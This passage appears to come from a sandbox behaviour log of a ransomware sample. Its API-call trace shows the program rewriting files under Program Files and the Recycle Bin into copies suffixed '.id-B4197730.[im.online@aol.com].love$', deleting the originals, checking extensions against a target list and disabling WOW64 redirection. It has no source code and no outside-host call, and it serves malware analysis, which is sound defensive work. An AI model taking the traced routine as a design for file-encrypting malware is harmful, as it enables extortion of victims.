(hObject=0x3f4) returned 1 [0281.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0281.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0282.063] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.063] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0282.321] GetLastError () returned 0x0 [0282.321] ReadFile (in: hFile=0x338, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0282.323] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0282.325] ReadFile (in: hFile=0x338, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.325] WriteFile (in: hFile=0x540, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.325] SetEndOfFile (hFile=0x540) returned 1 [0282.325] CloseHandle (hObject=0x540) returned 1 [0282.326] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.326] SetEndOfFile (hFile=0x338) returned 1 [0282.329] CloseHandle (hObject=0x338) returned 1 [0282.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0282.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString=".doc") returned 4 [0282.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString=".docx") returned 5 [0282.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0282.332] lstrlenW (lpString=".pdf") returned 4 [0282.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString=".xls") returned 4 [0282.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.332] lstrlenW (lpString=".xlsx") returned 5 [0282.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0282.332] lstrlenW (lpString=".ppt") returned 4 [0282.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString=".zip") returned 4 [0282.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.332] lstrlenW (lpString=".rar") returned 4 [0282.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString=".bz2") returned 4 [0282.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString=".7z") returned 3 [0282.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString=".dbf") returned 4 [0282.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString=".1cd") returned 4 [0282.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.332] lstrlenW (lpString=".jpg") returned 4 [0282.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString=".doc") returned 4 [0282.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString=".docx") returned 5 [0282.333] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0282.333] lstrlenW (lpString=".pdf") returned 4 [0282.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString=".xls") returned 4 [0282.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.333] lstrlenW (lpString=".xlsx") returned 5 [0282.333] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0282.333] lstrlenW (lpString=".ppt") returned 4 [0282.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString=".zip") returned 4 [0282.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.333] lstrlenW (lpString=".rar") returned 4 [0282.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString=".bz2") returned 4 [0282.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString=".7z") returned 3 [0282.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString=".dbf") returned 4 [0282.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString=".1cd") returned 4 [0282.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0282.333] lstrlenW (lpString=".jpg") returned 4 [0282.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.334] lstrlenW (lpString=".id-") returned 4 [0282.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c52b0 | out: hHeap=0x670000) returned 1 [0282.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c200 | out: hHeap=0x670000) returned 1 [0282.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3271e10 | out: hHeap=0x670000) returned 1 [0282.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3281e18 | out: hHeap=0x670000) returned 1 [0282.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3b98020 | out: hHeap=0x670000) returned 1 [0282.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5118 | out: hHeap=0x670000) returned 1 [0282.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113bd8 [0282.343] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113bd8, Size=0x20) returned 0x41aac18 [0282.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113bd8 [0282.343] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113bd8, Size=0x20) returned 0x41aad30 [0282.343] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.344] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.344] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff50 | out: OldValue=0x298ff50*=0x1) returned 1 [0282.344] lstrlenW (lpString="kernel32.dll") returned 12 [0282.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aad30 | out: hHeap=0x670000) returned 1 [0282.344] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac18 | out: hHeap=0x670000) returned 1 Thread: id = 37 os_tid = 0xdcc [0222.693] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x74fe48 [0222.693] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3241df8 [0222.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c50e8 [0222.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c130 [0222.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5280 [0222.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x397c020 [0222.697] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5118 [0222.697] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5118, Size=0x20) returned 0x6ad6d8 [0222.697] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5100 [0222.697] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5100, Size=0x20) returned 0x6ad598 [0222.698] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.698] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.698] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff50 | out: OldValue=0x2acff50*=0x0) returned 1 [0222.698] lstrlenW (lpString="kernel32.dll") returned 12 [0222.698] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.698] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.698] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.698] lstrcmpiW (lpString1=".ini", lpString2=".love$") returned -1 [0222.698] lstrlenW (lpString="desktop.ini") returned 11 [0222.698] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0222.699] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=129) returned 1 [0222.699] CloseHandle (hObject=0x338) returned 1 [0222.699] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0222.699] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[im.online@aol.com].love$")) returned 0x26 [0222.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString=".doc") returned 4 [0222.701] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0222.701] lstrlenW (lpString=".docx") returned 5 [0222.701] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0222.701] lstrlenW (lpString=".pdf") returned 4 [0222.701] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0222.701] lstrlenW (lpString=".xls") returned 4 [0222.701] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0222.701] lstrlenW (lpString=".xlsx") returned 5 [0222.701] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0222.701] lstrlenW (lpString=".ppt") returned 4 [0222.701] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0222.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString=".zip") returned 4 [0222.701] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0222.701] lstrlenW (lpString=".rar") returned 4 [0222.701] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0222.701] lstrlenW (lpString=".bz2") returned 4 [0222.701] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0222.701] lstrlenW (lpString=".7z") returned 3 [0222.701] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0222.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString=".dbf") returned 4 [0222.701] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0222.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString=".1cd") returned 4 [0222.701] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0222.701] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.701] lstrlenW (lpString=".jpg") returned 4 [0222.701] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0222.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.702] lstrlenW (lpString=".doc") returned 4 [0222.702] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0222.702] lstrlenW (lpString=".docx") returned 5 [0222.702] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0222.702] lstrlenW (lpString=".pdf") returned 4 [0222.702] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0222.702] lstrlenW (lpString=".xls") returned 4 [0222.702] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0222.702] lstrlenW (lpString=".xlsx") returned 5 [0222.702] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0222.702] lstrlenW (lpString=".ppt") returned 4 [0222.702] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0222.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.702] lstrlenW (lpString=".zip") returned 4 [0222.702] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0222.702] lstrlenW (lpString=".rar") returned 4 [0222.702] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0222.703] lstrlenW (lpString=".bz2") returned 4 [0222.703] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0222.703] lstrlenW (lpString=".7z") returned 3 [0222.703] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0222.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.703] lstrlenW (lpString=".dbf") returned 4 [0222.703] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0222.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.703] lstrlenW (lpString=".1cd") returned 4 [0222.703] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0222.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0222.703] lstrlenW (lpString=".jpg") returned 4 [0222.703] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0222.703] Sleep (dwMilliseconds=0x64) [0223.072] Sleep (dwMilliseconds=0x64) [0223.282] Sleep (dwMilliseconds=0x64) [0223.561] Sleep (dwMilliseconds=0x64) [0223.791] Sleep (dwMilliseconds=0x64) [0224.019] Sleep (dwMilliseconds=0x64) [0224.359] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.359] lstrlenW (lpString="Content.xml") returned 11 [0224.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.361] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=27045) returned 1 [0224.361] CloseHandle (hObject=0x3c4) returned 1 [0224.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0224.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.364] lstrlenW (lpString=".doc") returned 4 [0224.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.364] lstrlenW (lpString=".docx") returned 5 [0224.364] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.365] lstrlenW (lpString=".pdf") returned 4 [0224.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString=".xls") returned 4 [0224.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString=".xlsx") returned 5 [0224.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.365] lstrlenW (lpString=".ppt") returned 4 [0224.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString=".zip") returned 4 [0224.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.365] lstrlenW (lpString=".rar") returned 4 [0224.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString=".bz2") returned 4 [0224.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString=".7z") returned 3 [0224.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString=".dbf") returned 4 [0224.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString=".1cd") returned 4 [0224.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString=".jpg") returned 4 [0224.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.365] lstrlenW (lpString=".doc") returned 4 [0224.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString=".docx") returned 5 [0224.366] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.366] lstrlenW (lpString=".pdf") returned 4 [0224.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString=".xls") returned 4 [0224.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString=".xlsx") returned 5 [0224.366] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.366] lstrlenW (lpString=".ppt") returned 4 [0224.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.366] lstrlenW (lpString=".zip") returned 4 [0224.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.366] lstrlenW (lpString=".rar") returned 4 [0224.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString=".bz2") returned 4 [0224.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString=".7z") returned 3 [0224.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.366] lstrlenW (lpString=".dbf") returned 4 [0224.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.366] lstrlenW (lpString=".1cd") returned 4 [0224.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.366] lstrlenW (lpString=".jpg") returned 4 [0224.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.368] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.368] lstrlenW (lpString="boxed-join.avi") returned 14 [0224.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.370] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=46622) returned 1 [0224.370] CloseHandle (hObject=0x3c4) returned 1 [0224.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0224.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.371] lstrlenW (lpString=".doc") returned 4 [0224.371] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString=".docx") returned 5 [0224.371] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.371] lstrlenW (lpString=".pdf") returned 4 [0224.371] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString=".xls") returned 4 [0224.371] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString=".xlsx") returned 5 [0224.371] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.371] lstrlenW (lpString=".ppt") returned 4 [0224.371] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.371] lstrlenW (lpString=".zip") returned 4 [0224.371] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString=".rar") returned 4 [0224.371] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.371] lstrlenW (lpString=".bz2") returned 4 [0224.371] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString=".7z") returned 3 [0224.372] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString=".dbf") returned 4 [0224.372] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString=".1cd") returned 4 [0224.372] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.372] lstrlenW (lpString=".jpg") returned 4 